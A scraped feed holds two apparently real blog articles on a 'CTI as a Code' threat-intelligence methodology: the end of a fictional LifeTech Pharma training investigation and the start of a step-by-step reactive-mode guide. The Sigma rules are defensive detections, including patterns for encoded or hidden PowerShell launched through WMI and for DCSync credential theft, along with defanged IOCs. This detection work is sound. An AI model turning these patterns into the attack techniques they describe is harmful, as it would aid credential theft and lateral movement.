04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.yml</pre><p>Open the first one:</p><pre>nano 04-detections/sigma/DET-001-anomalous-vpn-auth.yml</pre><p>Every rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.</p><h4>2. Fill each rule</h4><p>Each rule is written with a reference to the claim it would have detected and the evidence gap it closes.</p><p><strong>DET-001: Anomalous VPN Authentication from Non-Corporate Source</strong></p><pre>title: Anomalous VPN Authentication — New Geography or Hosting ASN<br>id: a1b2c3d4-5678-9abc-def0-1234567890ab<br>status: experimental<br>description: &gt;<br>  Detects VPN authentication success from a source IP with no prior history for<br>  this user, specifically from IPs geolocated outside Israel or from hosting/VPN<br>  ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).<br>  Derived from PROJ-001 — CL-001, p.levi VPN from Istanbul at 02:17 UTC.<br>logsource:<br>  category: network<br>  product: cisco_anyconnect<br>detection:<br>  selection:<br>    event.action: vpn_auth_success<br>    user.name|exists: true<br>  filter_known:<br>    source.geo.country_iso_code: 'IL'<br>    source.as.number|not|startswith: ['AS47583', 'AS16276']   # hosting VPS ASNs<br>  condition: selection and not filter_known<br>falsepositives:<br>  - Legitimate international travel — validate against HR travel records<br>  - Remote contractors working abroad<br>level: high<br>tags:<br>  - attack.initial_access<br>  - attack.t1133<br>  - attack.credential_access<br>  - attack.t1557</pre><p><strong>DET-002: DCSync Attack Detection</strong></p><pre>title: DCSync Attack via Non-DC Account<br>id: b2c3d4e5-6789-abcd-ef01-234567890abc<br>status: production<br>description: &gt;<br>  Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes<br>  GUID originating from a workstation IP rather than a domain controller.<br>  Derived from PROJ-001 — CL-004: svc_backup performed DCSync from WS-IT-LEVI<br>  using Domain Admin rights that were never revoked after an August 2024 <br>  emergency backup restoration.<br>logsource:<br>  category: windows<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4662<br>    ObjectType: '{19195a5b-6da0-11d0-afd3-00c04fd930c9}'   # DS-Replication-Get-Changes<br>    Properties|contains:<br>      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'             # DS-Replication-Get-Changes-All<br>      - '89e95b76-444d-4c62-991a-0facbeda640c'             # DS-Replication-Get-Changes-In-Filtered-Set<br>  filter_legitimate_dc:<br>    IpAddress|startswith:<br>      - '10.10.1.10'   # DC01 — add all DC IPs here<br>      - '10.10.1.11'   # DC02<br>  condition: selection and not filter_legitimate_dc<br>falsepositives:<br>  - Azure AD Connect sync account — must be explicitly whitelisted<br>  - Authorized red team / pentest — validate scope before dismissing<br>level: critical<br>tags:<br>  - attack.credential_access<br>  - attack.t1003.006</pre><p><strong>DET-003: Service Account Off-Hours Authentication</strong></p><pre>title: Service Account Authentication Outside Business Hours<br>id: c3d4e5f6-789a-bcde-f012-34567890abcd<br>status: experimental<br>description: &gt;<br>  Detects authentication by a service account (accounts matching svc_* naming<br>  pattern) outside business hours (22:00–06:00) to a non-designated system.<br>  Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral<br>  movement in PROJ-001.<br>logsource:<br>  category: windows<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4624<br>    LogonType: 3<br>    SubjectUserName|startswith: 'svc_'<br>  filter_business_hours:<br>    TimeCreated|windash|lt: '22:00:00'<br>    TimeCreated|windash|gt: '06:00:00'<br>  filter_known_backup_host:<br>    IpAddress: '10.10.4.15'   # SERVER-WSUS-01 — legitimate backup source<br>  condition: selection and not filter_business_hours and not filter_known_backup_host<br>falsepositives:<br>  - Scheduled tasks that legitimately run at night — review and whitelist specific pairs<br>level: medium<br>tags:<br>  - attack.lateral_movement<br>  - attack.t1078.002</pre><p><strong>DET-004: WmiPrvSE Spawning PowerShell</strong></p><pre>title: WMI Remote Execution — PowerShell Child of WmiPrvSE<br>id: d4e5f6a7-89ab-cdef-0123-4567890abcde<br>status: production<br>description: &gt;<br>  Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns<br>  PowerShell on a remote system. This is the pattern from PROJ-001 step 16:<br>  lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport<br>  credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the<br>  originating WMI connection from the CFO host had no coverage.<br>logsource:<br>  category: process_creation<br>  product: windows<br>detection:<br>  selection:<br>    ParentImage|endswith: '\WmiPrvSE.exe'<br>    Image|endswith: '\powershell.exe'<br>  suspicious_flags:<br>    CommandLine|contains:<br>      - '-Enc'<br>      - '-EncodedCommand'<br>      - '-NonI'<br>      - '-W Hidden'<br>  condition: selection and suspicious_flags<br>falsepositives:<br>  - SCCM WMI-based software deployment with PowerShell post-install scripts<br>level: high<br>tags:<br>  - attack.lateral_movement<br>  - attack.execution<br>  - attack.t1021.003<br>  - attack.t1059.001</pre><p><strong>Validation:</strong> All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.</p><h4>3. Validate each rule against your evidence set</h4><pre># Run Hayabusa against the collected logs to confirm rules fire on known-bad events<br>hayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csv</pre><p>Review the output. A rule that does not fire on its own evidence set should not be deployed.</p><h4>4. Update project.yml deliverables count and commit</h4><pre>nano project.yml</pre><pre>deliverables:<br>  - type: sigma-rules<br>    count: 4<br>    status: complete</pre><pre>git add 04-detections/sigma/ project.yml<br>git commit -m "PROJ-2024-001: detections — DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa"</pre><h3>Step R7: Deliverables — What Each Stakeholder Gets</h3><h4>1. Open the deliverable templates</h4><pre>nano 05-deliverables/executive-brief.md<br>nano 05-deliverables/soc-handoff.md</pre><p>The executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the top.</p><p>The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.</p><blockquote>2. Fill the executive brief</blockquote><p><strong>Executive brief (1 page, TLP:AMBER) — what the CISO needs in 90 minutes:</strong></p><blockquote><em>An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.</em></blockquote><blockquote><strong><em>PIR-001 ANSWERED:</em></strong><em> The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall logs.</em></blockquote><blockquote><strong><em>PIR-003 ANSWERED:</em></strong><em> Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.</em></blockquote><blockquote><strong><em>Immediate actions:</em></strong><em> Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.</em></blockquote><p><strong>SOC handoff (technical):</strong></p><p>Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.</p><p>Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints — the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30 days.</p><h4>3. Update project.yml status to closed and commit everything</h4><pre>nano project.yml</pre><pre>project:<br>  status: closed<br>pirs:<br>  - id: PIR-001<br>    status: answered    # CL-003<br>  - id: PIR-002<br>    status: answered    # CL-001<br>  - id: PIR-003<br>    status: answered    # CL-006 - ongoing, AD rotation required</pre><pre>git add 05-deliverables/ project.yml<br>git commit -m "PROJ-2024-001: deliverables — executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed"</pre><h3>The Git History: What a Completed Investigation Looks Like</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9m5xzm1v4yUoNN47GznubQ.png"></figure><pre>b9a2f1c  PROJ-001: deliverables — executive brief, SOC handoff, INCD notification ready<br>7c8d3e4  PROJ-001: detections — DET-001 through DET-004 validated PASS via Hayabusa<br>5f2a9b1  PROJ-001: attribution — single actor assessed (shared PE timestamp + secondary C2)<br>3e4c7d8  PROJ-001: ATT&amp;CK mapping — 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing<br>1b6f2a5  PROJ-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)<br>9a3e7c2  PROJ-001: timeline — 18 events Oct 22–Nov 15; dual-path confirmed, same actor assessed<br>6f1b4d9  PROJ-001: evidence inventory — 6 sources, GAP-001 documented, firewall log retrieval urgent<br>2c8a5e3  PROJ-001: scope — signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVI<br>a1d7f4b  PROJ-001: intake — CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope<br>0e9c2b7  PROJ-001: scaffold initialized</pre><p>Each commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now “what did you know and when did you know it?” — the git log answers.</p><h3>Key Lessons</h3><p><strong>The alert was not the beginning.</strong> The SOC received its first signal 52 hours after the breach was already in progress — and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC — before any lateral movement, before any data access.</p><p><strong>Gaps are findings, not absences.</strong> The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 — Impair Defenses. A gap is not “we don’t know what happened.” A gap that coincides with a malicious delivery is evidence of anti-forensics.</p><p><strong>DCSync changes everything.</strong> The scope of remediation is not “three infected hosts.” When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not after.</p><p><strong>Claims need competing hypotheses.</strong> CL-003 (exfiltration confirmed) is only defensible as “high confidence” because specific alternative explanations were checked and explicitly ruled out — scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.</p><p><em>This scenario is training assignment A01 from the </em><a href="https://github.com/anpa1200/CTI_as_a_Code"><em>CTI as a Code repository</em></a><em>. The full evidence set, template, and worked solution are available there.</em></p><h3>Follow My Work</h3><p>I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.</p><ul><li><strong>Portfolio / Knowledge Base:</strong> <a href="https://anpa1200.github.io/">https://anpa1200.github.io/</a></li><li><strong>Medium:</strong> <a href="https://medium.com/@1200km">https://medium.com/@1200km</a></li><li><strong>GitHub:</strong> <a href="https://github.com/anpa1200">https://github.com/anpa1200</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">https://www.linkedin.com/in/andrey-pautov/</a></li></ul><p><strong>Andrey Pautov</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=3e6574b7b85f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f">CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CTI as a Code: Complete Step-by-Step Methodology]]></title>
<description><![CDATA[Version-controlled threat intelligence — from first call to deployed Sigma rule.Why This Methodology ExistsMost CTI work degrades in three predictable ways:The evidence problem. An analyst writes “the adversary used T1078” in a report. Six months later nobody can answer: what log line supports th...]]></description>
<link>https://tsecurity.de/de/3580442/hacking/cti-as-a-code-complete-step-by-step-methodology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580442/hacking/cti-as-a-code-complete-step-by-step-methodology/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:20 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><strong>Version-controlled threat intelligence — from first call to deployed Sigma rule.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ygo9Os6SaZrumCm_Y08aKA.png"></figure><h3>Why This Methodology Exists</h3><p>Most CTI work degrades in three predictable ways:</p><p><strong>The evidence problem.</strong> An analyst writes “the adversary used T1078” in a report. Six months later nobody can answer: what log line supports that claim? Was it confirmed or inferred? What alternative hypotheses were ruled out? The claim exists in a PDF but the reasoning is gone.</p><p><strong>The detection problem.</strong> A detection rule gets written after an incident. It sits in the SIEM with no documentation of which adversary technique it covers, which evidence motivated it, or whether it was ever validated. When the technique evolves, nobody knows which rules to update.</p><p><strong>The institutional knowledge problem.</strong> The analyst who ran the investigation leaves. The entire understanding of what happened, how it was analyzed, and what was decided goes with them. The next incident starts from zero.</p><p>CTI as a Code solves all three. Every claim traces to evidence. Every detection traces to a technique. Every decision is a git commit. The investigation is reproducible by anyone with access to the repository.</p><h3>Contents</h3><ul><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#6784"><strong>Why This Methodology Exists</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#b46b"><strong>The Four Operational Modes</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#cb45"><strong>Setup: Get the Repository and Start the Lab</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#c53b"><strong>Step 1: Initial Information Gathering — Ask Before You Look</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#d265"><strong>Step 2: Create Your Project Folder from the Template</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#36d3"><strong>Step 3: Scope the Project</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#335f"><strong>Reactive Mode</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#6db6"><strong>Step R1: Collect and Inventory Evidence</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#5c1f"><strong>Step R2: Build the Timeline with Evidence Labels</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#5f05"><strong>Step R3: Claims Ledger</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#869b"><strong>Step R4: ATT&amp;CK Mapping with Gap Classification</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#a66f"><strong>Step R5: Attribution Assessment</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#f976"><strong>Step R6: Derive Sigma Rules for Every Missed Technique</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#5fa2"><strong>Step R7: Produce Deliverables</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#97d7"><strong>Proactive Mode</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#f071"><strong>Step P1: Copy the Template</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#c4a2"><strong>Step P2: Run the Intake</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#4a2d"><strong>Step P3: Assess Trigger Intelligence</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#7af0"><strong>Step P4: Crown Jewels Analysis</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#1f9b"><strong>Step P5: Model Attack Scenarios</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#f509"><strong>Step P6: Build the Detection Backlog</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#137b"><strong>Full Cycle Mode: Building a CTI Program</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#675c"><strong>Adversary Emulation Mode: Validating Coverage</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#ef34"><strong>Git Discipline — The Same for All Modes</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#8924"><strong>Minimum-Viable Path: No Lab Required</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#9250"><strong>The Ecosystem</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46#e265"><strong>Where to Start</strong></a></li></ul><h3>The Four Operational Modes</h3><p>Before picking up a tool, identify which mode you are in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*09U-tRkFVOmP2S1zQVDk3A.png"></figure><p>The four modes share the same scaffold, the same analytical discipline, and the same git workflow. The difference is which steps you run and in what order.</p><h3>Setup: Get the Repository and Start the Lab</h3><h4>Clone the repository</h4><pre>git clone https://github.com/anpa1200/CTI_as_a_Code.git<br>cd CTI_as_a_Code</pre><p><strong>Repository structure:</strong></p><pre>CTI_as_a_Code/<br>├── docker-compose.yml          ← full lab stack (OpenCTI, TheHive, Elastic, Cortex)<br>├── .env.example                ← all secrets in one place; copy to .env before starting<br>├── scripts/<br>│   ├── setup.sh                ← first-time initialization (connectors, indexes, users)<br>│   └── health-check.sh         ← confirms all services return HTTP 200<br>├── templates/                  ← blank investigation scaffolds — copy these to start<br>│   ├── reactive/<br>│   ├── proactive/<br>│   ├── full-cycle/<br>│   └── adversary-emulation.md<br>└── training/                   ← 8 fully populated case folders with worked solutions<br>    ├── A01-reactive-lifetech/<br>    ├── A02-proactive-celltronx/<br>    └── ...</pre><h3>Start the lab (optional but recommended)</h3><pre>cp .env.example .env<br># Open .env and set all passwords before the next command<br>nano .env</pre><pre># Elasticsearch requires this kernel parameter<br>sudo sysctl -w vm.max_map_count=262144</pre><pre>docker compose up -d</pre><pre>./scripts/setup.sh          # runs once; configures MITRE ATT&amp;CK connector, indexes, initial users</pre><pre>./scripts/health-check.sh   # all services should return HTTP 200</pre><p>Once running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nNaWz-7T0T3H17eNc7DeRA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Vk-MOSzNyILrQqlDeMxTg.png"></figure><p>You do not need the lab to run the methodology. The minimum-viable path at the end of this article covers what to use instead.</p><h3>Step 1: Initial Information Gathering — Ask Before You Look</h3><p><strong>This is the step most analysts skip. It is the most important step.</strong></p><p>Before you open a log file, before you run a query, before you create a case — you need to understand what the reporter knows, what has already been touched, and what constraints exist. Getting this wrong means analyzing the wrong systems, missing the actual entry point, or tainting evidence that could later matter to regulators or legal.</p><p>This step applies to all modes:</p><ul><li><strong>Reactive</strong>: gather from the person who reported or discovered the incident</li><li><strong>Proactive</strong>: gather from the person who assigned the assessment (CISO, management, compliance)</li><li><strong>Full Cycle</strong>: gather from the sponsor of the program build</li><li><strong>Emulation</strong>: gather from the authorization chain</li></ul><p>Run this as a structured conversation — a call, a meeting, or a written intake form filled in by the requester. Take verbatim notes. Do not interpret or analyze during this step; just capture.</p><p>→ <strong>Reactive Investigation — Intake</strong> — full intake form, why each section matters, and how to commit the intake into the project git history.</p><h3>Step 2: Create Your Project Folder from the Template</h3><p>After intake, create the project folder and commit the intake document into it:</p><pre># Choose the template matching your mode<br>cp -r CTI_as_a_Code/templates/reactive/   investigations/myorg-incident-2025-03/<br>cd investigations/myorg-incident-2025-03/<br>git init<br>git add .<br>git commit -m "PROJ-001: scaffold initialized"<br># Copy your intake notes into the project<br>cp /path/to/intake-notes.md 00-scope/intake.md<br>git add 00-scope/intake.md<br>git commit -m "PROJ-001: intake complete - initial hypothesis: AiTM contractor credential theft"</pre><p>The intake document becomes the first record in the investigation’s git history. Every subsequent commit builds on it. When the investigation is reviewed three months later, the git log shows what was known when, and what the analyst’s reasoning was at each stage.</p><h3>Step 3: Scope the Project</h3><p><strong>File:</strong> 00-scope/scope.md | <strong>Role:</strong> Team Lead | <strong>Time:</strong> 30 min</p><p>The scope document translates the intake into a formal project definition. It is signed off by the stakeholder before analysis begins. Scope changes during the investigation require a new commit with explicit justification — this prevents scope creep and keeps the git history honest.</p><pre># Scope — PROJ-001 — MyOrg Incident 2025-03<br>Signed off by: CISO (Rachel K.) | Date: 2025-03-18 09:00 IST<br>## In scope<br>- Systems: HOST-01, HOST-02, vpn-gw-01, db-01<br>- Time range: 2025-03-15 00:00 IST - 2025-03-18 23:59 IST<br>- Evidence: Winlogbeat JSONL, VPN gateway logs, DB audit log, netflow<br>## Out of scope<br>- Cloud infrastructure - separate authorization required; pending CISO approval<br>- Employee endpoints outside the affected /24 subnet<br>## PIRs (Priority Intelligence Requirements)<br>These are the specific questions this investigation must answer. Analysis is complete<br>when all PIRs have an assessed answer or are explicitly closed as unanswerable.<br>- PIR-001: Did the adversary access or exfiltrate biometric records from db-01?<br>- PIR-002: What was the initial access vector - how did they get in?<br>- PIR-003: Is there any indication of ongoing access or persistence as of 2025-03-18?<br>## Stakeholders<br>- Commissioned by: CISO<br>- Deliverables to: CISO, IR Lead, Legal<br>- Scope change authority: CISO only - any scope expansion requires written approval<br>## Evidence handling<br>- TLP: AMBER - share with CERT-IL only with explicit CISO approval<br>- Legal hold on all artifacts pending INCD notification decision - do not delete anything<br>- Do not access db-01 production environment directly - use log copies only</pre><p>Commit and get written sign-off (Slack, email, or a note in the case):</p><pre>git add 00-scope/<br>git commit -m "PROJ-001: scope signed off by CISO — PIR-001 through PIR-003, TLP AMBER, legal hold"</pre><h3>Reactive Mode: Full Walkthrough</h3><h3>Step R1: Collect and Inventory Evidence</h3><p><strong>File:</strong> 01-evidence/README.md | <strong>Time:</strong> 2–8 h depending on evidence volume</p><p>Before any analysis, build the complete evidence inventory. The rule: <strong>you do not analyze what you have not inventoried.</strong> Working from untracked evidence is how findings get missed and how the chain of custody breaks.</p><p><strong>Collection with Velociraptor (remote, no reboot required):</strong></p><pre># Collect Windows Security event log from HOST-01<br>velociraptor -v artifacts collect Windows.EventLogs.Evtx \<br>  --args EventLog=Security \<br>  --output HOST-01-security.jsonl<br><br># Collect Sysmon (process creation, network, file events)<br>velociraptor -v artifacts collect Windows.EventLogs.Evtx \<br>  --args EventLog="Microsoft-Windows-Sysmon/Operational" \<br>  --output HOST-01-sysmon.jsonl<br><br># Collect PowerShell script block logging<br>velociraptor -v artifacts collect Windows.EventLogs.Evtx \<br>  --args EventLog="Microsoft-Windows-PowerShell/Operational" \<br>  --output HOST-01-powershell.jsonl</pre><p><strong>Hash all collected evidence immediately:</strong></p><pre>sha256sum HOST-01-security.jsonl HOST-01-sysmon.jsonl vpn-gw-2025-03-17.jsonl \<br>  &gt; evidence-checksums.sha256<br>git add evidence-checksums.sha256<br>git commit -m "PROJ-001: evidence checksums - chain of custody established"</pre><p><strong>Build the inventory table:</strong></p><pre>| Source | File | Systems | Time Range | Gap | SHA256 | Usability |<br>|---|---|---|---|---|---|---|<br>| Windows Security log | HOST-01-security.jsonl | HOST-01 | 2025-03-15 – 2025-03-18 | None | a3f1... | High |<br>| Sysmon | HOST-01-sysmon.jsonl | HOST-01 | 2025-03-15 – 2025-03-18 | GAP-001: 03:00–07:00 IST on 03-17 | b2e4... | High (with gap) |<br>| VPN gateway | vpn-gw-2025-03-17.jsonl | vpn-gw-01 | 2025-03-17 only | None | c9d7... | High |<br>| DB audit log | vrid-audit-2025-03-17.jsonl | db-01 | 2025-03-17 00:00–06:00 | Post-06:00 log rotation lost | d4a2... | Medium |<br>| Netflow | govnet-ops-2025-03-17.jsonl | All | 2025-03-17 | None | e8b3... | High |</pre><p><strong>Document every gap explicitly:</strong></p><pre>## GAP-001 — HOST-01 Sysmon | 2025-03-17 03:00–07:00 IST<br>Missing event types: process creation (EID 1), network connections (EID 3), file creation (EID 11)<br>Duration: 4 hours<br>Root cause: Sysmon service crash; restart at 07:02 confirmed in System log<br>What does cover this window: Security log (EID 4624, 4688 partial) - some process activity visible<br>Confidence impact: T1059, T1055, T1136, T1543 activity during this window CANNOT be confirmed<br>  or ruled out. Any claim about adversary actions between 03:00–07:00 must be labeled HYPOTHESIZED<br>  unless supported by netflow or DB audit log.</pre><p><strong>Normalize to super-timeline with Plaso:</strong></p><pre>log2timeline.py --storage-file PROJ-001.plaso \<br>  HOST-01-security.jsonl \<br>  HOST-01-sysmon.jsonl \<br>  vpn-gw-2025-03-17.jsonl \<br>  vrid-audit-2025-03-17.jsonl \<br>  govnet-ops-2025-03-17.jsonl<br><br>psort.py -o l2tcsv PROJ-001.plaso \<br>  --slice "2025-03-17T00:00:00" \<br>  --slice_size 1440 \<br>  &gt; supertimeline-2025-03-17.csv</pre><p><strong>Rapid Sigma triage with Hayabusa before Timesketch setup:</strong></p><pre>hayabusa csv-timeline \<br>  --directory ./evtx/ \<br>  --output hayabusa-triage.csv \<br>  --profile verbose \<br>  --min-level medium<br><br># Sort by severity to find high-confidence hits first<br>sort -t',' -k5 -r hayabusa-triage.csv | head -50<br><br>git add 01-evidence/<br>git commit -m "PROJ-001: evidence inventory - 5 sources, GAP-001 documented (4h Sysmon outage on 03-17)"</pre><h3>Step R2: Build the Timeline with Evidence Labels</h3><p><strong>File:</strong> 03-analysis/timeline/timeline.md | <strong>Time:</strong> 4–20 h</p><p>The timeline is a chronological log of every relevant event with three things that most timelines omit: <strong>evidence citations, evidence labels, and ATT&amp;CK technique mappings</strong>.</p><p><strong>Evidence label system — every event gets one:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nig_2_h62AbfTNhj8HVnQQ.png"></figure><p><strong>Why labels matter:</strong> Without them, analysts conflate what they saw with what they inferred. The label forces explicit acknowledgment of how strong each piece of evidence is. When an executive asks “are you sure they took the data?”, the answer is “CONFIRMED — two independent sources (DB audit log and netflow) both show 892 MB outbound” not “we think so.”</p><p><strong>Example timeline entries:</strong></p><pre>## 2025-03-17 02:09:41 IST | CORROBORATED | T1566.001<br>Email gateway: message delivered to contractor-07@myorg.il from spoofed.vendor@mailpro[.]cc<br>Attachment: Q1-Invoice-2025.docx (SHA256: 4a7f...)<br>Single source — email gateway log only; no AV alert (attachment not flagged at delivery)<br>Note: This is the suspected initial delivery. No click/open event confirmed yet.<br><br>## 2025-03-17 02:14:23 IST | CONFIRMED | T1078.001<br>VPN gateway: authentication from 185.234.x.x, UserID: contractor-07<br>Source 1: vpn-gw-2025-03-17.jsonl line 4,471 - SessionID: VPN-20250317-8821<br>Source 2: RADIUS auth log - same SessionID, same source IP, same timestamp ±2s<br>No prior VPN session history for contractor-07 from this IP. HR confirmed contractor-07<br>was not working on 2025-03-17. Two independent sources → CONFIRMED.<br>PIR-002 status: partial answer - likely credential theft prior to this event<br>## 2025-03-17 02:17–02:44 IST | INFERRED | T1021.001<br>Adversary likely moved laterally from contractor jump host to db-01 during this window.<br>Inference basis: VPN session established at 02:14 (CONFIRMED); DB access at 02:47 (CONFIRMED);<br>no direct evidence of the lateral movement path - jump host Sysmon logs not available.<br>This step is inferred from the 30-minute gap between VPN auth and DB access.<br>Cannot confirm the specific technique (RDP, SMB, other) without jump host logs.<br>## 2025-03-17 02:47:11 IST | CONFIRMED | T1048.003<br>DB audit log: SELECT * on biometric_records from 185.234.x.x<br>Source 1: vrid-audit-2025-03-17.jsonl line 892 - full-table SELECT, 340,218 rows<br>Source 2: netflow - 892.4 MB outbound from db-01 to 185.234.x.x at 02:47:11–02:51:33<br>PIR-001 status: ANSWERED YES - biometric records accessed and exfiltrated<br>## 2025-03-17 03:00–07:00 IST | GAP (GAP-001)<br>Sysmon coverage lost. Security log partial. Cannot confirm or rule out:<br>- T1059.001/003 (command execution)<br>- T1136 (account creation / persistence)<br>- T1105 (tool staging)<br>See GAP-001 in evidence inventory for impact assessment.</pre><h3>Step R3: Claims Ledger</h3><p><strong>File:</strong> 03-analysis/claims/claims-ledger.md | <strong>Time:</strong> 1–2 h</p><p>The claims ledger is the single most important document in the investigation. It is what transforms a timeline narrative into structured, auditable analysis.</p><p><strong>Every row answers five questions:</strong></p><ol><li>What is the specific assertion? (One sentence, falsifiable)</li><li>What evidence supports it? (File path and line number)</li><li>How confident are we? (High / Medium / Low with rationale)</li><li>What alternative explanations were considered? (And why were they ruled out or left open)</li><li>Which PIR does this answer?</li></ol><pre>| ID | Claim | Evidence | Confidence | Competing Hypotheses | PIR |<br>|---|---|---|---|---|---|<br>| CL-001 | Adversary authenticated to the VPN using valid credentials for contractor-07 at 02:14 IST on 2025-03-17 | vpn-gw.jsonl:4471 + RADIUS log (same SessionID) | High | Legitimate login — ruled out: no prior session from this IP; contractor 